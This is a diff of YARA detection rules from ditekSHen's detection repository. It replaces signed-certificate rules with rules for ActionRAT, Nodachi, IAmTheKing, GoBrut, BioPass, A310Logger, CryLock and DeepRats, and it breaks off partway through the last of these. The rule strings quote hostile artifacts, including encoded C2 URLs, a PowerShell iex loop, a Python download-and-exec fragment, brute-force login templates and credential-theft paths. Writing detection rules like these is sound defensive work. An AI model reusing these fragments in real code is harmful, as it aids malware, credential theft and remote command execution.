-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Insite Software Inc." and pe.signatures[i].serial=="00:d3:d7:4a:e5:48:83:0d:5b:1b:ca:98:56:e1:6c:56:4a")
+		uint16(0)==0x5a4d and 6 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_41F8253E1Ceafbfd8E49F32C34A68F9E : FILE
+rule DITEKSHEN_MALWARE_Win_Actionrat : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects ActionRAT, CSharp and Delfi variants"
 		author = "ditekSHen"
-		id = "84bd03de-88cd-5180-af11-916dbecd0366"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "ceb4bd65-85c0-5614-a7cb-8f3f2f849eae"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4140-L4151"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6922-L6955"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "53f71030815dcdda8424fe858d26a08cf947a683e69c50ea5fda53f51b88bb93"
+		logic_hash = "1552cda3f02c08582e3dd97df98416635a25005081627097df181bfc6aac4665"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE"
-		thumbprint = "02e739740b88328ac9c4a6de0ee703b7610f977b"
-		importance = 20
+
+	strings:
+		$x1 = /<action>(connect|command|drives|getfiles|upload|execute|download)<action>/ fullword wide
+		$x2 = "aHR0cDovLzE0NC45MS42NS4xMDAv" wide
+		$x3 = "aHR0cDovL21mYWhvc3QuZGRucy5uZXQv" wide
+		$f1 = "<updateCommand>b__" ascii
+		$f2 = "<getDrives>b__" ascii
+		$f3 = "<getStatus>b__" ascii
+		$f4 = "<getDirectories>b__" ascii
+		$f5 = "<updateUpload>b__" ascii
+		$f6 = "<infinity>b__" ascii
+		$f7 = "<uploadFile>b__" ascii
+		$s1 = "beaconURL" ascii
+		$s2 = "PingReply" ascii
+		$s3 = "updateUpload" ascii
+		$s4 = "updateCommand" ascii
+		$s5 = "runCommand" ascii
+		$s6 = "uploadFile" ascii
+		$s7 = "SELECT * FROM MSFT_NetAdapter WHERE ConnectorPresent = True AND DeviceID = '{0}'" fullword wide
+		$s8 = "SOFTWARE\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion" fullword wide
+		$s9 = "Mozilla/3.0" fullword wide
+		$s10 = "|directory|N/A|" fullword wide
+		$s11 = "cmd.exe /c" fullword wide
+		$c1 = /Content-Disposition: form-data; name=(hostname|hid|id|action|secondary)/ fullword wide
+		$c2 = /(classification|updatecs|update|beacon)\.php/ wide
+		$c3 = "Content-Disposition: form-data;name=\"{0}\";filename=\"{1}\"filepath=\"{2}\"" fullword wide
+		$pdb1 = "D:\\Projects\\C#\\HTTP-Simple\\WindowsMediaPlayer - HTTP - " ascii
+		$pdb2 = "\\WindowsMediaPlayer10\\obj\\x86\\Release\\winow4.pdb" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Shenzhen Smartspace Software technology Co.,Limited" and pe.signatures[i].serial=="41:f8:25:3e:1c:ea:fb:fd:8e:49:f3:2c:34:a6:8f:9e")
+		uint16(0)==0x5a4d and (#x1>5 or ( all of ($f*) and (1 of ($s*) or 2 of ($c*))) or 7 of ($s*) or all of ($c*) or ( all of ($pdb*) and 4 of them ) or (2 of ($x*) and 5 of them ))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0A5B4F67Ad8B22Afc2Debe6Ce5F8F679 : FILE
+rule DITEKSHEN_MALWARE_Win_Nodachi : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Nodachi infostealer"
 		author = "ditekSHen"
-		id = "e1cc3d27-4f76-58a8-8dd6-fd8dbe48252e"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "bce0c44d-7e75-5c51-ba93-75bd81896921"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4153-L4164"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6957-L6972"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "19cf46c112b546c26f12891727fdbc74aaa78bbdcdbc4e041781394f4cf5f719"
+		logic_hash = "c8a262b862a47d5c0c9bd76b722aa4ceb55dd365b5dca35a61318d8a1c53269d"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "1213865af7ddac1568830748dbdda21498dfb0ba"
-		importance = 20
+
+	strings:
+		$x1 = "//AppData//Roaming//kavachdb//kavach.db" ascii
+		$s1 = "/upload/drive/v3/files/{fileId}" ascii
+		$s2 = "main.getTokenFromWeb" ascii
+		$s3 = "main.tokenFromFile" ascii
+		$s4 = "/goLazagne/" ascii
+		$s5 = "/extractor/withoutdrive/main.go" ascii
+		$s6 = "struct { Hostname string \"json:\\\"hostname\\\"\"; EncryptedUsername string \"json:\\\"encryptedUsername\\\"\"; EncryptedPassword string \"json:\\\"encryptedPassword\\\"\" }" ascii
+		$s7 = "C://Users//public//cred.json" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Farad LLC" and pe.signatures[i].serial=="0a:5b:4f:67:ad:8b:22:af:c2:de:be:6c:e5:f8:f6:79")
+		uint16(0)==0x5a4d and ((1 of ($x*) and 3 of ($s*)) or (4 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_65Cd323C2483668B90A44A711D2A6B98 : FILE
+rule DITEKSHEN_MALWARE_Win_Iamthekingqueenofhearts : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "IAmTheKing Queen Of Hearts payload"
 		author = "ditekSHen"
-		id = "b976e930-cf9a-5b0f-9a1b-c35c3f134bdd"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "b8d222f0-b3ce-5143-816b-4bbcde645672"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4166-L4177"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6974-L6991"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e0a9868f9a42aeb8f90aff540a73bc8fa1bfebbf8ee6c0c71bd921cf914e0875"
+		logic_hash = "0aafeb1dce380ebe6cccc3c7f9564022e1a4cdcf20091943d2bfcc845129152d"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "188810cf106a5f38fe8aa0d494cbd027da9edf97"
-		importance = 20
+
+	strings:
+		$s1 = "{'session':[{'name':'" ascii
+		$s2 = "begin mainthread ok" wide
+		$s3 = "getcommand error" wide
+		$s4 = "querycode error" wide
+		$s5 = "Code = %d" wide
+		$s6 = "cookie size :%d" wide
+		$s7 = "send request error:%d" wide
+		$s8 = "PmMytex%d" wide
+		$s9 = "%s_%c%c%c%c_%d" wide
+		$s10 = "?what@exception@std@@UBEPBDXZ" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "OOO Giperion" and pe.signatures[i].serial=="65:cd:32:3c:24:83:66:8b:90:a4:4a:71:1d:2a:6b:98")
+		uint16(0)==0x5a4d and 6 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0F7E3Fda780E47E171864D8F5386Bc05 : FILE
+rule DITEKSHEN_MALWARE_Win_Iamthekingqueenofclubs : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "IAmTheKing Queen Of Clubs payload"
 		author = "ditekSHen"
-		id = "33b8ce54-fa2c-5aac-9022-2309f7fc4a86"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "4d19a484-0483-5b3e-a9ad-1cd8ca263a04"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4192-L4203"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6993-L7007"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "30e2daf85ee7f9f9615a49af949a034b50a97a1a7abf6a318547809cc9e7b0b7"
+		logic_hash = "28d7d3e9a3b7c104fc5b0fa38ce33b34596f16f6987c34a0e2e3fd93a8a908bd"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "1e3dd5576fc57fa2dd778221a60bd33f97087f74"
-		importance = 20
+
+	strings:
+		$s1 = "Not Support!" fullword wide
+		$s2 = "%s|%s|%s|%s" fullword wide
+		$s3 = "cmd.exe" fullword wide
+		$s4 = "for(;;){$S=Get-Content \"%s\";IF($S){\"\" > \"%s\";$t=iex $S 2>\"%s\";$t=$t+' ';echo $t >>\"%s\";}sleep -m " wide
+		$s5 = "PowerShell.exe -nop -c %s" fullword wide
+		$s6 = "%s \"%s\" Df" fullword wide
+		$s7 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Louhos Solutions Oy" and pe.signatures[i].serial=="0f:7e:3f:da:78:0e:47:e1:71:86:4d:8f:53:86:bc:05")
+		uint16(0)==0x5a4d and 5 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_C2Cbbd946Bc3Fdb944D522931D61D51A : FILE
+rule DITEKSHEN_MALWARE_Win_Iamtheking : FILE
 {
 	meta:
-		description = "Detects executables signed with Sordum Software certificate, particularly Defender Control"
+		description = "IAmTheKing payload"
 		author = "ditekSHen"
-		id = "b8ccfb1a-4e3f-5823-af38-e1607458023e"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "cf0d7c8d-0ac3-542d-b42e-f215af36044b"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4231-L4242"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7009-L7029"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "6e67835cf85c713ef5a21b866a277e90236c607fb67d3fd9b2bba627c31d9e97"
+		logic_hash = "1cc2aa9b672b8519a3e8a22e31403fb7adace0d430f9cab160e9a7d52e56e875"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
-		thumbprint = "f5e71628a478a248353bf0177395223d2c5a0e43"
-		importance = 20
+
+	strings:
+		$s1 = "DeleteFile \"%s\" Failed,Err=%d" wide
+		$s2 = "DeleteFile \"%s\" Success" wide
+		$s3 = "ExcuteFile \"%s\" Failed,Err=%d" wide
+		$s4 = "ExcuteFile \"%s\" Success" wide
+		$s5 = "CreateDownLoadFile \"%s\" Failed,Error=%d" wide
+		$s6 = "uploadFile \"%s\" Failed,errorcode=%d" wide
+		$s7 = "CreateUpLoadFile \"%s\" Success" wide
+		$s8 = "im the king" ascii
+		$s9 = "dont disturb me" fullword ascii
+		$s10 = "kill me or love me" fullword ascii
+		$s11 = "please leave me alone" fullword ascii
+		$s12 = "calculate the NO." fullword ascii
+		$s13 = "\\1-driver-vmsrvc" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Sordum Software" and pe.signatures[i].serial=="c2:cb:bd:94:6b:c3:fd:b9:44:d5:22:93:1d:61:d5:1a")
+		uint16(0)==0x5a4d and 7 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_6E3B09F43C3A0Fd53B7D600F08Fae2B5 : FILE
+rule DITEKSHEN_MALWARE_Win_Gobrut : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects unknown Go multi-bruteforcer bot (StealthWorker / GoBrut) against multiple systems: QNAP, MagOcart, WordPress, Opencart, Bitrix, Postgers, MySQL, Drupal, Joomla, SSH, FTP, Magneto, CPanel"
 		author = "ditekSHen"
-		id = "d23e7b9b-4424-50c5-a768-9cb33e0de192"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "f5605123-12d9-55d1-8a32-acebf16834f8"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4244-L4255"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7031-L7086"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "45e2833dedacd875912d07dc63216400ddff76846f9c7bdf808f1db56ed4720c"
+		logic_hash = "fb93d0dcf7f38294444ac6d2e1a7a126027ce07f0305af9ae0f8aa8f4b806c5c"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
-		thumbprint = "677054afcbfecb313f93f27ed159055dc1559ad0"
-		importance = 20
+
+	strings:
+		$x1 = "/src/StealthWorker/Worker" ascii
+		$x2 = "/go/src/Cloud_Checker/" ascii
+		$x3 = "brutXmlRpc" ascii
+		$s1 = "main.WPBrut" ascii
+		$s2 = "main.WPChecker" ascii
+		$s3 = "main.WooChecker" ascii
+		$s4 = "main.StandartBrut" ascii
+		$s5 = "main.StandartBackup" ascii
+		$s6 = "main.WpMagOcartType" ascii
+		$s7 = "main.StandartAdminFinder" ascii
+		$w1 = "/WorkerQnap_brut/main.go" ascii
+		$w2 = "/WorkerHtpasswd_brut/main.go" ascii
+		$w3 = "/WorkerOpencart_brut/main.go" ascii
+		$w4 = "/WorkerBitrix_brut/main.go" ascii
+		$w5 = "/WorkerPostgres_brut/main.go" ascii
+		$w6 = "/WorkerMysql_brut/main.go" ascii
+		$w7 = "/WorkerFTP_brut/main.go" ascii
+		$w8 = "/WorkerSSH_brut/main.go" ascii
+		$w9 = "/WorkerDrupal_brut/main.go" ascii
+		$w10 = "/WorkerJoomla_brut/main.go" ascii
+		$w11 = "/WorkerMagento_brut/main.go" ascii
+		$w12 = "/WorkerWHM_brut/main.go" ascii
+		$w13 = "/WorkerCpanel_brut/main.go" ascii
+		$w14 = "/WorkerPMA_brut/main.go" ascii
+		$w15 = "/WorkerWP_brut/main.go" ascii
+		$p1 = "%s/project/saveGood?host=%s&login=%s&password=%s&service=cpanel" ascii
+		$p2 = "%s/project/saveGood?host=%s&login=%s&password=%s&service=ftpBrut" ascii
+		$p3 = "%s/project/saveGood?host=%s&login=%s&password=%s&service=mysql_b" ascii
+		$p4 = "%s/project/saveGood?host=%s&login=%s&password=%s&service=qnapBrt" ascii
+		$p5 = "%s/project/saveGood?host=%s&login=%s&password=%s&service=OCartBrt" ascii
+		$p6 = "%s/project/saveGood?host=%s&login=%s&password=%s&service=phpadmin" ascii
+		$p7 = "%s/project/saveGood?host=%s&login=%s&password=%s&service=bitrixBrt" ascii
+		$p8 = "%s/project/saveGood?host=%s&login=%s&password=%s&service=drupalBrt" ascii
+		$p9 = "%s/project/saveGood?host=%s&login=%s&password=%s&service=joomlaBrt" ascii
+		$p10 = "%s/project/saveGood?host=%s&login=%s&password=%s&service=htpasswdBrt" ascii
+		$p11 = "%s/project/saveGood?host=%s&login=%s&password=%s&service=magentoBrt" ascii
+		$p12 = "%s/project/saveGood?host=%s&login=%s&password=%s&service=postgres_b" ascii
+		$p13 = "AUTH_FORM=Y&TYPE=AUTH&USER_LOGIN=%s&USER_PASSWORD=%s&Login=&captcha_sid=&captcha_word=" ascii
+		$p14 = "%qlog=%s&pwd=%s&wp-submit=Log In&redirect_to=%s/wp-admin/&testcookie=1" ascii
+		$p15 = "name=%s&pass=%s&form_build_id=%s&form_id=user_login_form&op=Log" ascii
+		$p16 = "username=%s&passwd=%s&option=com_login&task=login&return=%s&%s=1" ascii
+		$v1_1 = "brutC" fullword ascii
+		$v1_2 = "XmlRpc" fullword ascii
+		$v1_3 = "shouldRetry$" ascii
+		$v1_4 = "HttpC|%" ascii
+		$v1_5 = "ftpH%_" ascii
+		$v1_6 = "ssh%po" ascii
+		$v1_7 = "?sevlyar/4-da" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Divisible Limited" and pe.signatures[i].serial=="6e:3b:09:f4:3c:3a:0f:d5:3b:7d:60:0f:08:fa:e2:b5")
+		( uint16(0)==0x5a4d or uint16(0)==0x457f) and ((2 of ($x*) and 3 of ($s*)) or all of ($s*) or 6 of ($w*) or 6 of ($p*) or 6 of ($v1*) or 12 of them )
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00Aa12C95D2Bcde0Ce141C6F1145B0D7Ef : FILE
+rule DITEKSHEN_MALWARE_Win_Biopass_Dropper : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Go BioPass dropper"
 		author = "ditekSHen"
-		id = "66ef7681-7467-5c9f-8e0b-749a9711f15a"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "56037c79-59f7-587c-8f54-c9618e871f34"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4257-L4268"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7088-L7111"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "34edd92640d8059f074513b526c7a2bf0d9265af9466a2ae66b93255044744c4"
+		logic_hash = "06f3b3ee38349ddcf9be7cbb7627d60fa673962409dde6e4badd112841a3ed19"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "1383c4aa2900882f9892696c537e83f1fb20a43f"
-		importance = 20
+
+	strings:
+		$go = "Go build ID:" ascii
+		$s1 = "main.NetWorkStatus" ascii
+		$s2 = "main.NoErrorRunFunction" ascii
+		$s3 = "main.FileExist" ascii
+		$s4 = "main.execute" ascii
+		$s5 = "main.PsGenerator" ascii
+		$s6 = "main.downFile" ascii
+		$s7 = "main.Unzip" ascii
+		$url1 = "https://flashdownloadserver.oss-cn-hongkong.aliyuncs.com/res/" ascii
+		$x1 = "SCHTASKS /Run /TN SYSTEM_CDAEMON" ascii
+		$x2 = "SCHTASKS /Run /TN SYSTEM_SETTINGS" ascii
+		$x3 = "SCHTASKS /Run /TN SYSTEM_TEST && SCHTASKS /DELETE /F /TN SYSTEM_TEST" ascii
+		$x4 = ".exe /install /quiet /norestart" ascii
+		$x5 = "exec(''import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\\''http" ascii
+		$x6 = "powershell.exe -Command $" ascii
+		$x7 = ".Path ='-----BEGIN RSA TESTING KEY-----" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "PROKON, OOO" and pe.signatures[i].serial=="00:aa:12:c9:5d:2b:cd:e0:ce:14:1c:6f:11:45:b0:d7:ef")
+		uint16(0)==0x5a4d and ( all of ($s*) or 5 of ($x*) or (1 of ($url*) and ($go)) or 9 of them )
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_03E9Eb4Dff67D4F9A554A422D5Ed86F3 : FILE
+rule DITEKSHEN_MALWARE_Win_A310Logger : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects A310Logger"
 		author = "ditekSHen"
-		id = "b76ab1af-01f9-5d03-8d5e-7314a7a2de43"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "d2cf2f7b-5710-56ab-b13d-97a70fe7f618"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4270-L4281"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7113-L7149"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a56f53cb94f78496b4935fc2a613d030bd550b749427501dd9dda18cb9e05ab3"
+		logic_hash = "8205169c9c78eb784b9d07a5fd85ad3a54763452e1e315f7e7911b8ac49a6c01"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "8f2de7e770a8b1e412c2de131064d7a52da62287"
-		importance = 20
+		snort_sid = "920204-920207"
+
+	strings:
+		$s1 = "Temporary Directory * for" fullword wide
+		$s2 = "HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\*RD_" wide
+		$s3 = "@ENTIFIER=" wide
+		$s4 = "ExecQuery" fullword wide
+		$s5 = "MSXML2.ServerXMLHTTP.6.0" fullword wide
+		$s6 = "Content-Disposition: form-data; name=\"document\"; filename=\"" wide
+		$s7 = "CopyHere" fullword wide
+		$s8 = "] Error in" fullword wide
+		$s9 = "shell.application" fullword wide nocase
+		$s10 = "SetRequestHeader" fullword wide
+		$s11 = "\\Ethereum\\keystore" fullword wide
+		$s12 = "@TITLE Removing" fullword wide
+		$s13 = "@RD /S /Q \"" fullword wide
+		$en1 = "Unsupported encryption" fullword wide
+		$en2 = "BCryptOpenAlgorithmProvider(SHA1)" fullword wide
+		$en3 = "BCryptGetProperty(ObjectLength)" fullword wide
+		$en4 = "BCryptGetProperty(HashDigestLength)" fullword wide
+		$v1_1 = "PW\\FILES\\SC::" wide
+		$v1_2 = "AddAttachment" fullword wide
+		$v1_3 = "Started:" fullword wide
+		$v1_4 = "Ended:" fullword wide
+		$v1_5 = "sharedSecret" fullword wide
+		$v1_6 = "\":\"([^\"]+)\"" fullword wide
+		$v1_7 = "\\credentials.txt" fullword wide
+		$v1_8 = "WritePasswords" fullword ascii
+		$v1_9 = "sGeckoBrowserPaths" fullword ascii
+		$v1_10 = "get_sPassword" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "philandro Software GmbH" and pe.signatures[i].serial=="03:e9:eb:4d:ff:67:d4:f9:a5:54:a4:22:d5:ed:86:f3")
+		uint16(0)==0x5a4d and (7 of ($s*) or (3 of ($en*) and 4 of ($s*)) or (5 of ($s*) and 1 of ($en*)) or 5 of ($v1*) or (4 of ($v1*) and 2 of ($s*) and 2 of ($en*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_4A7F07C5D4Ad2E23F9E8E03F0E229Dd4 : FILE
+rule DITEKSHEN_MALWARE_Win_Crylock : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects CryLock ransomware"
 		author = "ditekSHen"
-		id = "4e39ae25-c62c-5018-9780-d1549b10942f"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "296288d8-2fdd-592a-aef9-7d4853885594"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4283-L4294"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7151-L7186"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "2493dfe7e5a993a573c7b3c2f2642a8834feb525b3fc8402315a63ac09b9fccd"
+		logic_hash = "dde35dd2c7e89212c4562f2dcf6a78d06fbb3d31150d49e6c48f758b07f1834f"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "b37e7f9040c4adc6d29da6829c7a35a2f6a56fdb"
-		importance = 20
+
+	strings:
+		$s1 = "Encrypted by BlackRabbit. (BR-" ascii
+		$s2 = "{ENCRYPTENDED}" ascii
+		$s3 = "{ENCRYPTSTART}" ascii
+		$s4 = "<%UNDECRYPT_DATETIME%>" ascii
+		$s5 = "<%RESERVE_CONTACT%>" ascii
+		$s6 = "how_to_decrypt.hta" ascii wide
+		$s7 = "END ENCRYPT ONLY EXTENATIONS" ascii
+		$s8 = "END UNENCRYPT EXTENATIONS" ascii
+		$s9 = "END COMMANDS LIST" ascii
+		$s10 = "END PROCESSES KILL LIST" ascii
+		$s11 = "END SERVICES STOP LIST" ascii
+		$s12 = "END PROCESSES WHITE LIST" ascii
+		$s13 = "END UNENCRYPT FILES LIST" ascii
+		$s14 = "END UNENCRYPT FOLDERS LIST" ascii
+		$s15 = "Encrypted files:" ascii
+		$s16 = { 65 78 74 65 6e 61 74 69 6f 6e 73 00 ff ff ff ff
+                 06 00 00 00 63 6f 6e 66 69 67 00 00 ff ff ff ff
+                 (0a|0d 0a) 00 00 00 63 6f 6e 66 69 67 2e 74 78
+                 74 00 00 ff ff ff ff 03 00 00 00 68 74 61 }
+		$p1 = "-exclude" fullword
+		$p2 = "-makeff" fullword
+		$p3 = "-full" fullword
+		$p4 = "-nolocal" fullword
+		$p5 = "-nolan" fullword
+		$p6 = "\" -id \"" fullword
+		$p7 = "\" -wid \"" fullword
+		$p8 = "\"runas\"" fullword
+		$p9 = " -f -s -t 00" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Danalis LLC" and pe.signatures[i].serial=="4a:7f:07:c5:d4:ad:2e:23:f9:e8:e0:3f:0e:22:9d:d4")
+		uint16(0)==0x5a4d and (3 of ($s*) or 6 of ($p*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_C6D7Ad852Af211Bf48F19Cc0242Dcd72 : FILE
+rule DITEKSHEN_MALWARE_Win_Deeprats : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects DeepRats ("
 		author = "ditekSHen"
-		id = "1aca90d4-6cb6-5bcd-a4c9-e8f8cddc0d04"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "5b774e24-3864-519f-9cfd-d729d7d567a0"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4296-L4307"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7188-L7218"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e10de48bfa1edec81157eb95ef3478346c22dd6f7ef163e30887d3c7bb580c5e"
+		logic_hash = "511264c0b6932f90069a5206cd142ca7210b0bc40c51ef5aa9c41a161fb57aab"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "bddcef09f222ea4270d4a1811c10f4fcf98e4125"
-		importance = 20
+		hash1 = "1f8b7e1b14869d119c5de1f05330094899bd997fca4c322d852db85cbd9271e6"
+
+	strings:
+		$s1 = "https://freegeoip.live/json/https://myexternalip.com/rawin" ascii
+		$s2 = "github.com/cretz/bine" ascii
+		$s3 = "github.com/kbinani/screenshot" ascii
+		$s4 = "socks5://%s:%d" ascii
+		$s5 = "socks5://%s:%s@%s:%d" ascii
+		$s6 = "http://%s:%d" ascii
+		$s7 = "http://%s@%s:%d" ascii
+		$s8 = "%SystemRoot%\\system32\\--CookieAuthentication" ascii
+		$s9 = "tor_addr_" ascii
+		$f1 = ".GetVnc" ascii
+		$f2 = ".GetCommand" ascii
+		$f3 = ".GetPayload" ascii
+		$f4 = ".ListenCommands" ascii
+		$f5 = ".ReceiveFile" ascii
+		$f6 = ".RegisterImplant" ascii
+		$f7 = ".Screenshot" ascii
+		$f8 = ".SendFile" ascii
+		$f9 = ".StartShell" ascii
+		$f10 = ".UnregisterImplant" ascii
